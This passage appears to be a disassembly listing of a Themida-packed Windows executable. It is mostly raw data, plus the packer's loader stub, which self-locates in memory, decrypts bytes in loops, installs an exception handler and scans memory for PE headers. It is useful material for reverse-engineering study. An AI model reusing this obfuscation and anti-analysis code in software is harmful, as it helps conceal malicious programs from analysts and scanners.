					; DATA XREF: start:loc_48F086o
		jmp	loc_4FDDB9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd offset word_550EA6
		db 1Eh,	8Ah, 4Eh
		dd 73h,	0
		dd 0F5000000h, 0A7FD8177h, 0FFh, 9C00h,	5 dup(0)
		dd 273ED900h, 74h, 0
		dd 53D21600h, 0
		dd 0FE030400h, 7Fh, 641BD700h, 237Fh, 0E6D70600h, 77h
		dd 7F7CDE00h, 5Eh, 4FAB8900h, 0DD189A00h, 77h, 4 dup(0)
		dd 0D400h, 722F9000h, 61h, 6 dup(0)
		dd 0E78B8200h, 12FEF877h, 5 dup(0)
		dd 0FFA00F00h, 0FFh, 0
		dd 0A58D8D00h, 62h, 0
		dd 4FBEA200h, 53002300h, 3 dup(0)
		dd 100h, 6 dup(0)
		dd 0E7AC5E00h, 0E7F9EE77h, 22222277h, 22222222h, 22h, 7	dup(0)
		dd 100h, 0
		dd 6E9800h, 0FEC27900h,	4FC7F536h, 2 dup(0)
		dd 28010500h, 53734F0Ah, 0AAB1CA00h, 3 dup(0)
		dd 6E9800h, 5 dup(0)
		dd 572E7600h, 3	dup(0)
		dd 0E8065D00h, 56E2D977h, 0
		dd 0E75CB500h, 53BE4177h, 8 dup(0)
		dd 9D23E800h, 4	dup(0)
		dd 8800h, 0
		dd 0FE030400h, 7Fh, 0AFB86400h,	22h, 0
		dd 0FFA70C00h, 0FFh, 0A00A1900h, 0FFh, 3 dup(0)
		dd 604300h, 5 dup(0)
		dd 101000h, 4 dup(0)
		dd 0C6318800h, 5Dh, 5 dup(0)
		dd 12FFC400h, 5	dup(0)
		dd 3800h, 0
		dd 9C09F700h, 7	dup(0)
		dd 9C69DD00h, 2	dup(0)
		dd 52EF3600h, 537B9600h, 4 dup(0)
		dd 2AE800h, 9 dup(0)
		dd 58000000h, 3AD202h, 3 dup(0)
		dd 9CA03700h, 8136EA00h, 0E7A5FD22h, 77h, 400h,	4D73E300h
		dd 34h,	4 dup(0)
		dd 0EBA6E900h, 537B3F77h, 3 dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 9CA037h, 448BE0FFh, 0E0FF0424h, 16h dup(0)
		dd 100h, 3 dup(0)
		dd 9C9C3700h, 5	dup(0)
		dd 0C530DF00h, 0A9h, 6 dup(0)
		dd 1465FD00h, 8900E45Ch, 78F033B8h, 4FD4F9FAh, 2 dup(0)
		dd 44034000h, 77BF00h, 0Fh dup(0)
		dd 1E3ADC00h, 4, 0
		dd 9CA00F00h, 0
		dd 0FF94AC00h, 0FFh, 8 dup(0)
		dd 54020300h, 0
		dd 8000h, 5 dup(0)
		dd 4E83EA00h, 20Ch, 2 dup(0)
		dd 0ED011000h, 0FFh, 4 dup(0)
		dd 0EE800h, 10h	dup(0)
		dd 0CD3D4200h, 0BEh, 0D727300h,	0Eh, 2 dup(0)
		dd 0AC8CB100h, 0FFh, 1A97FB00h,	4793151h, 57h, 54C79800h
		dd 4 dup(0)
		dd 200h, 0Ah dup(0)
		dd 9E9BAC00h, 0
		dd 0FF4ADE00h, 0FFh, 2 dup(0)
		dd 9C9BBF00h, 0
		dd 0C0EF0E00h, 0EEh, 0FC8D8D00h, 57h, 3	dup(0)
		dd 1446F000h, 4	dup(0)
		dd 57DE9200h, 0Bh dup(0)
		dd 9C69DD00h, 0
		dd 9D156000h, 2987D100h, 7Ah, 0
		dd 35B00h, 6 dup(0)
		dd 0B3000000h, 2 dup(0)
		dd 0DD23D700h, 77h, 3 dup(0)
		dd 46DA4400h, 0C2h, 0
		dd 7400h, 2 dup(0)
		dd 0C530DF00h, 0A9h, 9C949900h,	9D156800h, 5 dup(0)
		dd 0ACA1FE00h, 4 dup(0)
		dd 35000100h, 238h, 4FD4F900h, 3005000h, 56E432FEh, 8 dup(0)
		dd 0D4C96A00h, 77h, 16h	dup(0)
		dd 9C949900h, 6	dup(0)
		dd 74E3AB00h, 13h, 533B8900h, 0
		dd 9C229200h, 7	dup(0)
		dd 0A77FFB00h, 10h, 53516500h, 3 dup(0)
		dd 56555400h, 3Bh, 4 dup(0)
		dd 0E7A13F00h, 77h, 0A98D6000h,	0A8h, 2	dup(0)
		dd 0FF2A5500h, 0FFh, 0DD59F000h, 77h, 5	dup(0)
		dd 629FFB00h, 75h, 6 dup(0)
		dd 0E5B80D00h, 0FFh, 6 dup(0)
		dd 9B0A9A00h, 13h dup(0)
		dd 9CCAAC00h, 30740E06h, 194Eh,	12FFA400h, 0Ah dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 0E776CD00h, 77h, 0Bh	dup(0)
		dd 0C530DF00h, 21E9A9h,	2Ch dup(0)
		dd 23A4C800h, 0E3h, 0
		dd 0E7C48600h, 629FFB77h, 75h, 0
		dd 53E30200h, 3	dup(0)
		dd 571AEB00h, 14h dup(0)
		dd 0DC00h, 3 dup(0)
		dd 8B68CA00h, 547C0EB9h, 0
		dd 5209D100h, 8C80h, 69DD00h, 0
		dd 0E74A2E00h, 77h, 8800h, 0
		dd 6E9800h, 82B39B00h, 20h, 7 dup(0)
		dd 48D00000h, 53515300h, 0Eh dup(0)
		dd 0E75CB500h, 77h, 1FCFC00h, 80h, 0
		dd 0E78B8200h, 12FF2477h, 5 dup(0)
		dd 55359E00h, 3	dup(0)
		dd 0F52E0F00h, 77h, 0B9h dup(0)
		dd 54FE2A00h, 2	dup(0)
		dd 4FECD900h, 3	dup(0)
		dd 9C70C400h, 0FE030400h, 7Fh, 9 dup(0)
		dd 8E83D400h, 83h, 2 dup(0)
		dd 56FF5E00h, 2	dup(0)
		dd 577BBE00h, 57598900h, 0
		dd 456BD700h, 2, 5390BB00h, 0
		dd 53515300h, 0C5594F00h, 5Dh, 2 dup(0)
		dd 40000000h, 53D21600h, 0
		dd 0A800h, 0C1C02800h, 40h, 4 dup(0)
		dd 0E7AC5E00h, 677h, 3 dup(0)
		dd 9CFA5600h, 5	dup(0)
		dd 4BD0CB00h, 0F2h, 11h	dup(0)
		dd 554E0F00h, 57628400h, 0
		dd 7CE9DF00h, 0DDh, 0
		dd 9B520600h, 0A8h, 0
		dd 4C51AD00h, 77h, 7D100h, 2200h, 5 dup(0)
		dd 55AF6200h, 0
		dd 523B9900h, 0
		dd 69DD00h, 0D4000000h,	77h, 6 dup(0)
		dd 9C69DD00h, 2	dup(0)
		dd 0B5E79C00h, 52EF0E5Ch, 1Bh dup(0)
		dd 0AF0B00h, 2 dup(0)
		dd 9C939300h, 24242400h, 24h, 4	dup(0)
		dd 53002300h, 2	dup(0)
		dd 18B5C500h, 88h, 0
		dd 0E002300h, 1Ah, 9 dup(0)
		dd 635FF100h, 0FFh, 6E9800h, 0Ah dup(0)
		dd 4FB8F100h, 4	dup(0)
		dd 55C00B00h, 0E7A5FD00h, 3700077h, 9C3E3B00h, 0Ah dup(0)
		dd 200h, 2 dup(0)
		dd 2C5FA500h, 19h, 5 dup(0)
		dd 18B00000h, 0BFC3BF00h, 0FFh,	0E27AC00h, 400000C8h, 0FE030400h
		dd 7Fh,	2 dup(0)
		dd 56B85A00h, 0
		dd 55CCE500h, 2Bh dup(0)
		dd 54A88A00h, 4	dup(0)
		dd 100h, 0
		dd 0F301F300h, 0ED00AC01h, 0F7CEE6FFh, 8484h, 6	dup(0)
		dd 0FE030400h, 7Fh, 56E13000h, 55C6DC00h, 0
		dd 0E77CB800h, 77h, 16h	dup(0)
		dd 7C00h, 3 dup(0)
		dd 9C314500h, 4	dup(0)
		dd 0C530DF00h, 0A9h, 0FE030400h, 0C8A0F57Fh, 9F27E04h
		dd 0FEh, 7 dup(0)
		dd 0A0A5E700h, 9C69DD00h, 0
		dd 38A8D00h, 6 dup(0)
		dd 0E82FE800h, 77h, 9D23E800h, 2 dup(0)
		dd 200h, 6 dup(0)
		dd 200h, 0D4C96A00h, 77h, 2 dup(0)
		dd 58017C00h, 0
		dd 5345EC00h, 0
		dd 100h, 2 dup(9C69DD00h), 0
		dd 0B91CF200h, 28h, 2 dup(0)
		dd 4FE8BA00h, 53515300h, 9800h,	523B9900h, 3 dup(0)
		dd 0ABF400h, 6 dup(0)
		dd 8220BC00h, 0EEh, 7 dup(0)
		dd 0C5E50B00h, 5Ch, 0FF9E8000h,	0FFh, 12FF2400h, 4 dup(0)
		dd 14013000h, 2	dup(0)
		dd 44034000h, 56000000h, 2, 537FDF00h, 338E1D00h, 0FE876C5Fh
		dd 7Fh,	12FF5400h, 0Dh dup(0)
		dd 56B85A00h, 2	dup(0)
		dd 130000h, 2 dup(0)
		dd 0DD5ECC00h, 77h, 0
		dd 26967300h, 0FEh, 0
		dd 6E9800h, 5 dup(0)
		dd 1A0000h, 0
		dd 0C00000h, 9 dup(0)
		dd 0A7F63A00h, 0FFh, 2 dup(0)
		dd 72C600h, 3 dup(0)
		dd 0E76A2E00h, 77h, 6 dup(0)
		dd 2DF1500h, 1Fh, 0
		dd 53B70100h, 3	dup(0)
		dd 0FE030400h, 7Fh, 6B7B00h, 3 dup(0)
		dd 8B107C00h, 0E7h, 4 dup(0)
		dd 0FF680000h, 0FFh, 2 dup(0)
		dd 5498E200h, 0
		dd 0EFFC000h, 0DCh, 0
		dd 54A88A00h, 0E8216800h, 14B41777h, 89000088h,	2, 2 dup(0)
		dd 456BBC00h, 2, 0
		dd 52EEE600h, 4	dup(0)
		dd 50F3E400h, 0E7A144E1h, 77h, 5692F600h, 0B4BB00h, 64h	dup(0)
		dd 0FE030400h, 7Fh, 8 dup(0)
		dd 0FE030400h, 7Fh, 6 dup(0)
		dd 456CD800h, 2, 9 dup(0)
		dd 0E805D800h, 77h, 8 dup(0)
		dd 200000h, 3 dup(0)
		dd 9C69DD00h, 2	dup(0)
		dd 0A834C700h, 0BEF21275h, 5500006Eh, 2, 4 dup(0)
		dd 97962300h, 0A7h, 19h	dup(0)
		dd 0FE030400h, 7Fh, 9 dup(0)
		dd 635FF100h, 0FFh, 538DC200h, 14h dup(0)
		dd 0CF030400h, 7Fh, 4 dup(0)
		dd 0AF000000h, 1Eh, 2 dup(0)
		dd 400h, 456BCE00h, 2, 4FD4F900h, 0
		dd 0A000h, 0
		dd 64ADFA00h, 8A3A557h,	59DE070Bh, 0B4h, 0Fh dup(0)
		dd 2214000h, 2 dup(0)
		dd 9DA7B100h, 0DEh, 0FA588800h,	0B0630500h, 77h, 4FE33500h
		dd 0E123900h, 9A6CE11Ah, 80h, 3	dup(0)
		dd 98E8D300h, 2Fh, 5 dup(0)
		dd 55597400h, 56B13C86h, 3 dup(0)
		dd 0AC00h, 0
		dd 53000000h, 0
		dd 1FCFC00h, 0DD000080h, 77h, 8	dup(0)
		dd 0FFE25800h, 0A08D53FFh, 2AB9F000h, 0ACFFDDFEh, 0FFh
		dd 0
		dd 56000000h, 2, 3 dup(0)
		dd 0E7A14400h, 77h, 6 dup(0)
		dd 5448E900h, 6	dup(0)
		dd 9C8C0A00h, 2	dup(0)
		dd 0A32B9100h, 0E776CD79h, 77h,	4FB8F100h, 0
		dd 7C3400h, 7 dup(0)
		dd 100h, 0EDCB2800h, 0E0h, 3 dup(0)
		dd 4FB8F100h, 3	dup(0)
		dd 9C69DD00h, 4EBEB000h, 0C118846Eh, 3Ch, 4 dup(0)
		dd 0A77FFA00h, 0CC048C10h, 2Fh,	0
		dd 7245200h, 4010003Eh,	2 dup(0)
		dd 0F0459300h, 51h, 53608700h, 559FF100h, 9 dup(0)
		dd 9C915B00h, 2	dup(0)
		dd 0F3005000h, 1FDh, 7 dup(0)
		dd 5CFFB000h, 1, 0
		dd 0FE030400h, 7Fh, 0Bh	dup(0)
		dd 12FF2400h, 11h dup(0)
		dd 0AA392400h, 212121FFh, 21h, 0
		dd 9B0A9A00h, 0
		dd 0AA000000h, 56996700h, 0Bh dup(0)
		dd 53002300h, 6C1E8500h, 9BD5546Ch, 2 dup(0)
		dd 0FCAD0F00h, 77h, 0E7E2D900h,	77h, 0
		dd 1FCFC00h, 80h, 0
		dd 0D36B6100h, 30h, 0E83E6800h,	77h, 0FE030400h, 7Fh, 5	dup(0)
		dd 100h, 7800h,	12403500h, 3 dup(0)
		dd 101000h, 6 dup(0)
		dd 9E7FD800h, 0DD0000h,	2100000h, 80h, 2200h, 13h dup(0)
		dd 81BB6600h, 0B0h, 0Bh	dup(0)
		dd 9C923400h, 3	dup(0)
		dd 73655200h, 74726174h, 2E707041h, 657865h, 4 dup(0)
		dd 0F7EBB300h, 0E8279877h, 77h,	4 dup(0)
		dd 0FF960000h, 0FF9485FFh, 0FFh, 44034000h, 2 dup(0)
		dd 82C5E800h, 0A0h, 3 dup(0)
		dd 5386C400h, 3	dup(0)
		dd 52B9CB00h, 9	dup(0)
		dd 7C3400h, 9C2BDE00h, 9C39E00h, 0FEh, 0
		dd 9BB16800h, 3	dup(0)
		dd 3900h, 2 dup(0)
		dd 55058F00h, 9C939300h, 5 dup(0)
		dd 24E900h, 2 dup(0)
		dd 101000h, 6 dup(0)
		dd 111C00h, 0FFAE3900h,	0FFh, 4E0BA900h, 18h, 6	dup(0)
		dd 9D326800h, 0CCFFB000h, 1, 16h dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 550D3D00h, 53892000h, 0F0h, 3CD49300h, 12FF64EAh, 2 dup(0)
		dd offset dword_564300
		dd 6 dup(0)
		dd 0A400h, 9C3E3B00h, 2	dup(0)
		dd 82C5E800h, 0A0h, 2 dup(0)
		dd 74BF00h, 3 dup(0)
		dd 8F01400h, 2 dup(0)
		dd 0E7C65700h, 77h, 0
		dd 104400h, 0
		dd 54774400h, 5	dup(0)
		dd 0B41B4000h, 76h, 46DA4400h, 0C2h, 3 dup(0)
		dd 0B03400h, 0F6h, 9C8C0A00h, 3	dup(0)
		dd 7C0200h, 0
		dd 6E9800h, 55B19600h, 2 dup(0)
		dd 5ACFF400h, 26h, 2 dup(0)
		dd 0F75E3E00h, 77h, 0E7A09900h,	77h, 6 dup(0)
		dd 0FFFFFF00h, 0FFh, 9 dup(0)
		dd 400h, 6 dup(0)
		dd 0B9547C00h, 18h, 0Dh	dup(0)
		dd 5599D300h, 6	dup(0)
		dd 0FE030400h, 3D000C7Fh, 2, 4 dup(0)
		dd 100h, 101000h, 2 dup(0)
		dd 12FFE000h, 57F7FB00h, 2 dup(0)
		dd 0E793EF00h, 77h, 1FCFC00h, 80h, 7Fh dup(0)
		dd 0FE04CE00h, 4FBEA17Fh, 400E900h, 0
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 44034000h, 2	dup(0)
		dd 54FF5400h, 7	dup(0)
		dd 4FD4F900h, 4FC7F500h, 0
		dd 53A34000h, 2	dup(0)
		dd 44034000h, 4	dup(0)
		dd 9E6BED00h, 56996337h, 21h dup(0)
		dd 4F000000h, 9E731600h, 0
		dd 0FEEB8D00h, 7Fh, 52EC7300h, 0B4000000h, 76h,	2 dup(0)
		dd 400E900h, 6 dup(0)
		dd 12FF6000h, 0
		dd 30400h, 4 dup(0)
		dd 560BCD00h, 80h, 4 dup(0)
		dd 55354100h, 6	dup(0)
		dd 57FFFF00h, 6	dup(0)
		dd 9400h, 4 dup(0)
		dd 9C69DD00h, 0
		dd 56459D00h, 0E123800h, 3636361Ah, 52CB1036h, 3 dup(0)
		dd 572E0D00h, 100h, 4 dup(0)
		dd 8C00000h, 2 dup(0)
		dd 9B000000h, 2	dup(0)
		dd 5261D700h, 3	dup(0)
		dd 14234A00h, 0
		dd 1AACB00h, 52919300h,	0FBh, 6E9800h, 0E8279400h, 77h
		dd 0
		dd 54E79500h, 4	dup(0)
		dd 3A000h, 0
		dd 5551F700h, 53913F00h, 516B9F00h, 0FF446DACh,	0FE030483h
		dd 7Fh,	0
		dd 6E9800h, 3 dup(0)
		dd 7C4C00h, 0Fh	dup(0)
		dd 1FCFC00h, 80h, 9 dup(0)
		dd 65685400h, 6164696Dh, 1Fh dup(0)
		dd 731D7500h, 0CAh, 12h	dup(0)
		dd 0F1EDC800h, 0E5h, 56940200h,	2 dup(0)
		dd 3D9400h, 7FFF00h, 3D000000h,	2, 0
		dd 200h, 0
		dd 5F6F400h, 80h, 9 dup(0)
		dd 0C382E800h, 98h, 8 dup(0)
		dd 3800h, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 53260200h, 3	dup(0)
		dd 9CA00F00h, 2	dup(0)
		dd 6E9800h, 0
		dd 538DC200h, 3	dup(0)
		dd 1A4CC00h, 2 dup(0)
		dd 5604C500h, 0FE030400h, 7Fh, 57FFD500h, 9C5E2E00h, 5EEE1400h
		dd 629FFB1Eh, 12FFA475h, 4F002300h, 2 dup(0)
		dd 4FD4C100h, 10h dup(0)
		dd 200h, 56555500h, 55C6DC3Bh, 2 dup(0)
		dd 0F5180B00h, 4E83EA77h, 0Ch, 8 dup(0)
		dd 6FD74600h, 891791F0h, 2, 58017C00h, 3 dup(0)
		dd 0B4000000h, 76h, 0A00F00h, 0Fh dup(0)
		dd 0E776CD00h, 77h, 0
		dd 53529C00h, 0
		dd 53515300h, 8	dup(0)
		dd 9EB13400h, 3	dup(0)
		dd 0A400h, 0
		dd 53002300h, 11h dup(0)
		dd 0FE030400h, 7Fh, 0Ah	dup(0)
		dd 58027F00h, 2	dup(0)
		dd 629FFB00h, 9075h, 4 dup(0)
		dd 6CFFB000h, 1, 0
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0)
		dd 55B20B00h, 7	dup(0)
		dd 0FF390000h, 3D00FFh,	2 dup(0)
		dd 0C530DF00h, 0A9h, 2 dup(0)
		dd 456B9C00h, 2, 0FFA29C00h, 0FFh, 8 dup(0)
		dd 35B00h, 0
		dd 55200A00h, 4FE3F500h, 2 dup(0)
		dd 0AFB39800h, 42h, 0
		dd 9C1300h, 0
		dd 56B65600h, 0
		dd 3AA0000h, 2 dup(0)
		dd 42000h, 0
		dd 0FE030400h, 7Fh, 0
		dd 0A0999500h, 5498E200h, 0B28C1D00h, 571B5ECBh, 538DC200h
		dd 0Dh dup(0)
		dd 7CFBF300h, 12FEF8FAh, 6 dup(0)
		dd 5F5400h, 7BB900h, 9 dup(0)
		dd 9C69DD00h, 2	dup(0)
		dd 1C2E3300h, 99h, 2 dup(0)
		dd 9C69DD00h, 0FFFFFF00h, 0FFh,	6 dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 86h dup(0)
		dd 0E7796300h, 77h, 0
		dd 0E8061800h, 53515377h, 0
		dd 0FE030400h, 7Fh, 523B9900h, 492400h,	0C0543800h, 97h
		dd 2 dup(0)
		dd 0A010000h, 7Ch, 12FEF800h, 4	dup(0)
		dd 58027F00h, 0
		dd 82A7F500h, 60h, 0
		dd 0A680A300h, 0CDh, 95E76700h,	0E0h, 2	dup(0)
		dd 9CA00F00h, 0
		dd 0EE8D8D00h, 3Bh, 3 dup(0)
		dd 5800AD00h, 4	dup(0)
		dd 9B0FE600h, 3	dup(0)
		dd 53733300h, 0
		dd 0FE030400h, 7Fh, 1Ah	dup(0)
		dd 0F2970300h, 6Fh, 0
		dd 58027F00h, 0
		dd 9CFA5600h, 0B02B0700h, 5535D7FFh, 2 dup(0)
		dd 54399300h, 5	dup(0)
		dd 4FB8F100h, 0F7CEE600h, 84h, 57000000h, 0DD0002h, 8 dup(0)
		dd 12FFF000h, 9C360700h, 3 dup(0)
		dd 40000000h, 4	dup(0)
		dd 54000000h, 5	dup(0)
		dd 9C69DD00h, 0
		dd 0A71A6E00h, 52EC8DEFh, 2 dup(0)
		dd 3F0B8200h, 0AEh, 6 dup(0)
		dd 64D50100h, 1FDh, 5 dup(0)
		dd 33333300h, 2	dup(33333333h),	33h, 0
		dd 87F87B00h, 0B2h, 2 dup(0)
		dd 0A8D18A00h, 1FFh, 5 dup(0)
		dd 0FE030400h, 7Fh, 14h	dup(0)
		dd 57598900h, 2	dup(0)
		dd 533B8900h, 0
		dd 100h, 0
		dd 6A94EA00h, 89h, 3 dup(0)
		dd 0E74A3B00h, 77h, 0
		dd 7D239E00h, 9C69DD84h, 2 dup(0)
		dd 3D9400h, 2 dup(0)
		dd 0FE6FFF00h, 7Fh, 4 dup(0)
		dd 533B8900h, 0
		dd 400E900h, 0
		dd 11111100h, 2198ED11h, 2836h,	2C639900h, 0C4h, 0Eh dup(0)
		dd 0F7CEE600h, 284h, 4 dup(0)
		dd 1DE58600h, 0Eh, 5 dup(0)
		dd 0E123800h, 1Ah, 200h, 0E6000000h, 9B0A9A77h,	0Dh dup(0)
		dd 9C6DB900h, 0
		dd 0FE030400h, 5818EF7Fh, 2 dup(0)
		dd 0F7611000h, 9, 28h dup(0)
		dd 7000h, 2 dup(0)
		dd 9D23E800h, 4	dup(0)
		dd 0E21A7A00h, 56B4A6F1h, 0E8000h, 0Bh dup(0)
		dd 0FFFFF800h, 77h, 3 dup(0)
		dd 0C70000h, 5429DE00h,	572E5600h, 0Eh dup(0)
		dd 4FAB8900h, 6EFF4600h, 0FEh, 3 dup(0)
		dd 1A47F300h, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4FDDB9:				; CODE XREF: start:loc_4FA844j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 622357Fh
		mov	[ebp+6220265h],	edx
		mov	[ebp+6222975h],	esi
		mov	[ebp+6223171h],	eax
		cmp	dword ptr [ebp+6220619h], 0
		jz	short loc_4FDDF1
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_4FDDF1:				; CODE XREF: start+6EDCFj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6220B49h],	eax
		push	45h
		call	sub_4FDEA5
		push	783749Ah
		call	sub_4FDEEB
		push	0A894B25h
		call	sub_4FDEEB
		jmp	loc_4FE02F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4FDEA5	proc near		; CODE XREF: start+6EDE9p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 622366Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_4FDEC1:				; CODE XREF: sub_4FDEA5+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_4FDEE0
		mov	eax, [ebp+arg_0]
		mov	[ebx+62235D7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_4FDEC1
; ---------------------------------------------------------------------------

loc_4FDEE0:				; CODE XREF: sub_4FDEA5+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_4FDEA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4FDEEB	proc near		; CODE XREF: start+6EDF3p start+6EDFDp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 62236B6h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_4FDF11:				; CODE XREF: sub_4FDEEB+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_4FDF11
		mov	[ebp+var_84], 0
		lea	edi, [edx+62235D7h]
		lea	esi, [ebp+var_80]

loc_4FDF41:				; CODE XREF: sub_4FDEEB+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_4FDF4D:				; CODE XREF: sub_4FDEEB+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_4FDF4D
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_4FDF41
		popa
		leave
		retn	4
sub_4FDEEB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_4FDF8B
; ---------------------------------------------------------------------------

loc_4FDF87:				; CODE XREF: Themida_:004FDF8Ej
		inc	dword ptr [ebp-4]
		inc	esi

loc_4FDF8B:				; CODE XREF: Themida_:004FDF85j
		cmp	byte ptr [esi],	0
		jnz	short loc_4FDF87
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_4FE01C
; ---------------------------------------------------------------------------

loc_4FDF9D:				; CODE XREF: Themida_:004FE01Fj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4FE013
; ---------------------------------------------------------------------------

loc_4FDFA6:				; CODE XREF: Themida_:004FE017j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_4FE000
; ---------------------------------------------------------------------------

loc_4FDFB6:				; CODE XREF: Themida_:004FE004j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_4FDFD8
		cmp	bl, 39h
		ja	short loc_4FDFD8
		sub	bl, 30h
		jmp	short loc_4FDFFA
; ---------------------------------------------------------------------------

loc_4FDFD8:				; CODE XREF: Themida_:004FDFCCj
					; Themida_:004FDFD1j
		cmp	bl, 61h
		jb	short loc_4FDFEA
		cmp	bl, 66h
		ja	short loc_4FDFEA
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_4FDFFA
; ---------------------------------------------------------------------------

loc_4FDFEA:				; CODE XREF: Themida_:004FDFDBj
					; Themida_:004FDFE0j
		cmp	bl, 41h
		jb	short loc_4FDFFA
		cmp	bl, 46h
		ja	short loc_4FDFFA
		sub	bl, 41h
		add	bl, 0Ah

loc_4FDFFA:				; CODE XREF: Themida_:004FDFD6j
					; Themida_:004FDFE8j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_4FE000:				; CODE XREF: Themida_:004FDFB4j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_4FDFB6
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_4FE010
		mov	eax, [ebp-10h]
		stosb

loc_4FE010:				; CODE XREF: Themida_:004FE00Aj
		inc	dword ptr [ebp-8]

loc_4FE013:				; CODE XREF: Themida_:004FDFA4j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_4FDFA6
		add	edx, 4

loc_4FE01C:				; CODE XREF: Themida_:004FDF9Bj
		cmp	edx, [ebp-4]
		jb	loc_4FDF9D
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4FE02F:				; CODE XREF: start+6EE02j
		mov	ecx, 7000h
		lea	edi, [ebp+62237FCh]

loc_4FE03A:				; CODE XREF: start+6F02Aj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_4FE03A
		mov	eax, 48692121h
		mov	edx, 0F008F000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+62238E7h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		movzx	ebx, dx
		mov	bh, 0F2h
		sub	eax, edx
		add	ebx, 7A7407Fh
		and	eax, 0FFFFF000h
		pusha
		push	esi
		jmp	loc_4FE095
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 7FEE3B8Bh, 26D11511h, 47671FBh, 1D713063h
		db 34h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4FE095:				; CODE XREF: start+6F06Bj
		pop	edx
		mov	ax, 330Ch
		popa
		mov	bx, cx
		mov	ecx, edx
		xor	edi, edi

loc_4FE0A2:				; CODE XREF: start+6F0A9j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_4FE0B7
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_4FE0BF

loc_4FE0B7:				; CODE XREF: start+6F093j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_4FE0A2
; ---------------------------------------------------------------------------

loc_4FE0BF:				; CODE XREF: start+6F0A1j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+62238FAh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
